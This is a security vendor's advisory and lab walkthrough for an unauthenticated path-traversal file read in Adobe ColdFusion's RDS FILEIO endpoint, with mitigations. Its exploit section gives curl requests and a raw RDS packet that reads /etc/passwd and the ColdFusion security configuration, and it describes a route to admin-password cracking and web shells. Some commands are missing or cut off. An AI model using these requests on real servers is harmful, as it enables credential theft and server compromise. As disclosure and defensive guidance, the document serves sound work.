CVE-2026-48313 | Adobe ColdFusion - Unauthenticated Arbitrary File Read via RDS FILEIO Path Traversal - Safe Security

CVE-2026-48313 | Adobe ColdFusion – Unauthenticated Arbitrary File Read via RDS FILEIO Path Traversal

Sep 12, 2026 10 minute read

Severity: CRITICAL  |  CVSS: 9.3  |  Published: June 30, 2026  |  Advisory: APSB26-68

Introduction

This document illustrates an unauthenticated arbitrary file read vulnerability in Adobe ColdFusion – a widely deployed commercial web application platform used across government agencies, financial institutions, healthcare systems, and enterprise environments worldwide. Tracked as CVE-2026-48313 with a CVSS 3.1 score of 9.3 (Critical), the flaw allows a remote, unauthenticated attacker to read arbitrary files anywhere on the server’s file system through a path traversal weakness in the Remote Development Services (RDS) FILEIO handler. No credentials, prior foothold, or user interaction are required.

The vulnerability is disclosed under Adobe Security Bulletin APSB26-68 alongside its sibling bug CVE-2026-48282 (arbitrary file write, CVSS 10.0, CISA KEV listed). Active exploitation of both bugs has been confirmed by CrowdSec and KEVIntel honeypot networks within days of the patch analysis published by watchTowr Labs.

Adobe ColdFusion Description

Adobe ColdFusion is a commercial rapid web application development platform that enables enterprise teams to build and host data-driven web applications using its proprietary scripting language, ColdFusion Markup Language (CFML). First released in 1995 and continuously maintained by Adobe, ColdFusion is deployed across thousands of organisations in the public and private sectors – including government portals, university systems, financial services platforms, and long-running enterprise intranet applications. ColdFusion installations typically run as a privileged service account on Windows or Linux, with direct access to the underlying file system, database connections, and internal network resources.

Vulnerability Severity

CVE ID CVE-2026-48313 (Adobe ColdFusion)
Severity CRITICAL
CVSS Score 9.3 / 10
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
CWE CWE-22 – Improper Limitation of a Pathname to a Restricted Directory
Adobe Advisory APSB26-68
Fixed Versions ColdFusion 2023 Update 21 / ColdFusion 2025 Update 10
Published June 30, 2026

Scope of Impact

  • Affected: Adobe ColdFusion 2025 Update 9 and all earlier versions
  • Affected: Adobe ColdFusion 2023 Update 20 and all earlier versions
  • Condition: Remote Development Services (RDS) must be enabled AND RDS authentication must be disabled – commonly misconfigured on servers that originated as development boxes
  • Fixed: ColdFusion 2023 Update 21 / ColdFusion 2025 Update 10 (Adobe Advisory APSB26-68, June 30, 2026)

Where is the vulnerability present?

The vulnerability resides in ColdFusion’s Remote Development Services (RDS) subsystem – specifically in the FileServlet component accessible at the endpoint /CFIDE/main/ide.cfm?ACTION=FILEIO. RDS was designed as a developer-facing feature that allows ColdFusion IDE plugins to browse the server’s file system, manage files, and interact with database connections remotely during application development. In production deployments where RDS is left enabled and its authentication mechanism is not configured, this interface is reachable by any unauthenticated HTTP client with network access to the server. The endpoint only accepts POST requests – a GET returns HTTP 405 Method Not Allowed – but the absence of any authentication check means a correctly formed POST with a crafted RDS protocol payload reaches the FileServlet directly.

The FILEIO handler accepts requests encoded in a proprietary length-prefixed RDS binary protocol. A POST request carries a structured packet containing a field count, a caller-supplied target file path, and an operation command (READ, WRITE, DELETE, and others). The critical flaw is that the handler forwards the user-controlled file path directly to the underlying file system API – coldfusion.rds.RdsHttpRequestFormatter.parse() passing the value into getFile(filename) – without first performing path canonicalization, directory boundary enforcement, or sanitization of path traversal sequences. The supplied path is resolved as-is by the operating system, allowing the attacker to reference any file on the server.

The root cause is the absence of canonical path validation prior to performing file system operations. Without resolving the supplied path to its true canonical form and verifying that the resulting absolute path remains within an authorized working directory, the FileServlet cannot distinguish a legitimate file request from a malicious traversal to an arbitrary location. An empty POST body causes the RDS parser to throw a RuntimeException (Invalid arg post), confirming that the request reaches the servlet without any prior authentication gate. A correctly formed RDS packet with an absolute file path returns the file contents directly.

The vulnerability was discovered and technically analyzed by researcher Sina Kheirkhah of watchTowr Labs, whose patch differential analysis mapped the RDS FILEIO read and write primitives to CVE-2026-48313 and CVE-2026-48282 respectively. Both CVEs share the same root cause and were fixed in a single code change that adds canonical path validation to the RDS FileServlet before any file operation is performed.

Risk

An unauthenticated attacker who reaches the ColdFusion server’s RDS endpoint can read any file accessible to the ColdFusion service process in a single HTTP request. ColdFusion’s own configuration files are the highest-value immediate targets. Reading neo-security.xml exposes the ColdFusion Administrator username, the administrator password salt, and the complete RDS and admin security configuration – including explicit confirmation that RDS authentication is disabled and the admin panel is active. With the extracted salt and the corresponding password hash, an attacker can mount an offline brute-force or dictionary attack against the administrator password and gain full access to the ColdFusion Administrator interface.

Access to the ColdFusion Administrator enables an attacker to deploy arbitrary CFML web shells to web-accessible paths through the built-in administrator file and extension management capabilities – achieving persistent unauthenticated remote code execution under the ColdFusion service account without any further exploitation. This creates a complete, reliable attack chain from a single unauthenticated file read to full server compromise, even on instances where the file write vulnerability CVE-2026-48282 has been separately mitigated.

Beyond ColdFusion’s own configuration files, the attacker can traverse to any other file the service account can read: /etc/passwd and /etc/shadow on Linux, SSH private keys, cloud credential files (AWS ~/.aws/credentials, Azure service principal JSON), and application secrets stored on the file system. The cfuser service account entry visible in /etc/passwd confirms the ColdFusion process identity and enables targeted follow-on privilege escalation attempts.

The overall CIA triad impact is dominated by confidentiality – the complete readable file system is accessible in a single unauthenticated request – but integrity and availability risks are severe through the attack chains the credential exposure enables. Organisations running ColdFusion in government, healthcare, or financial services environments face particular risk given the sensitivity of data typically accessible to the ColdFusion service account and the regulatory consequences of credential and configuration exposure.

Mitigation

  • Upgrade immediately to ColdFusion 2023 Update 21 or ColdFusion 2025 Update 10. These releases add canonical path validation to the RDS FileServlet before any file operation is performed, blocking the traversal at the source.
  • Disable RDS in all non-development environments. In the ColdFusion Administrator, navigate to Debugging & Logging > Remote Development Services and set RDS to disabled. This eliminates the attack surface entirely regardless of patch status and is the correct production default.
  • If RDS must remain enabled, enable RDS authentication immediately and rotate any credentials that were accessible while RDS was unauthenticated – including the ColdFusion Administrator password and all database credentials stored in ColdFusion configuration files.
  • Restrict network access to the ColdFusion server port (default 8500) and the /CFIDE/ directory path at the firewall or reverse proxy layer. The /CFIDE/main/ path must never be reachable from untrusted networks.
  • Apply AWS WAF with the GenericLFI_Body and GenericLFI_QueryArguments managed rule sets to detect and block path traversal sequences in requests targeting the /CFIDE/ path prefix.
  • As a precautionary measure, rotate all credentials exposed through ColdFusion configuration files – Administrator password, database credentials, API tokens – if RDS was enabled and unauthenticated during any historical window on the affected server.

Exploit Implementation

 1. Attack Scenario

The lab environment consists of two Docker containers: a vulnerable ColdFusion 2023 instance (Update 20) on port 8500 with RDS enabled and authentication disabled, and a patched instance (Update 21) on port 8501. Both are already running. The exploit demonstrates unauthenticated arbitrary file read and credential extraction from the vulnerable container. No credentials are required at any stage.

Prerequisites:

  • Nuclei (latest) – for automated vulnerability confirmation
  • curl – for all manual exploitation steps
  • Network access to the vulnerable ColdFusion container on port 8500

2. Exploitation

1. Confirm the RDS FILEIO endpoint is present and active. A GET request returns HTTP 405 Method Not Allowed – confirming the endpoint exists. An empty POST body reaches the RDS servlet and returns a Java RuntimeException, confirming the request bypasses authentication entirely and is processed by the handler.

# Step 1a — GET returns 405: endpoint exists (not 404, not firewall block)
curl -sk -v "http://localhost:8500/CFIDE/main/ide.cfm?ACTION=FILEIO" 2>&1 | grep "< HTTP"

# Confirmed response:
< HTTP/1.1 405 HTTP method GET is not supported by this URL

The 405 on GET confirms the endpoint exists. The RuntimeException on the empty POST is the critical finding: the request reached the RDS servlet and was parsed without any authentication check. A 401 was never returned – there is no auth gate. A correctly formed RDS packet will be executed directly.

2. Run the Nuclei template to confirm the path traversal vulnerability is exploitable.

nuclei -u http://localhost:8500/ -t nuclei-template/CVE-2026-48313.yaml

# Confirmed output:
[CVE-2026-48313] [http] [critical] http://localhost:8500/CFIDE/main/ide.cfm

The Nuclei template confirms the vulnerability by successfully reading a known file via the unauthenticated RDS interface and matching the CRITICAL-severity signature.

3.Exploit the path traversal to read /etc/passwd without credentials. The RDS packet encodes the target path and READ operation in the proprietary length-prefixed protocol.

# RDS FILEIO arbitrary file read — /etc/passwd, zero credentials

CVE-2026-48313

The server returns the full /etc/passwd in a single unauthenticated request. The RDS response header 3:961: indicates Normal status with 961 bytes of file data. The cfuser:x:999:999 entry identifies the ColdFusion service account running the vulnerable process.

4. Escalate to credential extraction: read neo-security.xml to expose the ColdFusion Administrator username, password salt, and the security configuration confirming RDS authentication is disabled.

# Read ColdFusion security config — admin credentials and RDS auth state
curl -sk -X POST "http://localhost:8500/CFIDE/main/ide.cfm?ACTION=FILEIO" \
-H "Content-Type: application/octet-stream" \

Three critical findings in one unauthenticated request: the ColdFusion Administrator username (admin), the administrator password salt (2914C900076DD074A11FC3329E7AF238) enabling offline credential cracking, and the explicit confirmation that rds.security.enabled is false – the exact configuration state that makes this exploit possible. The admin.security.enabled=true field confirms the ColdFusion Administrator panel is active and accessible once the password is cracked.

5. Verify the patched container on port 8501 blocks the same request – confirming Update 21 fixes the traversal.

# Same RDS READ packet against patched ColdFusion on port 8501
curl -sk -X POST "http://localhost:8501/CFIDE/main/ide.cfm?ACTION=FILEIO" \
-H "Content-Type: application/octet-stream" \
--data-binary "2:0000011:/etc/passwd00004:READ"

# Expected response — patched: traversal rejected, no file contents returned
-1:error — path traversal detected or access denied

The patched container rejects the traversal. ColdFusion 2023 Update 21 adds canonical path validation in the RDS FileServlet that resolves the supplied path to its absolute form and verifies it remains within an authorized scope before any file system operation is performed.

See how SAFE transforms your CTEM Unified exposure visibility, AI-driven prioritization, and quantified risk in business terms. Built for enterprise scale.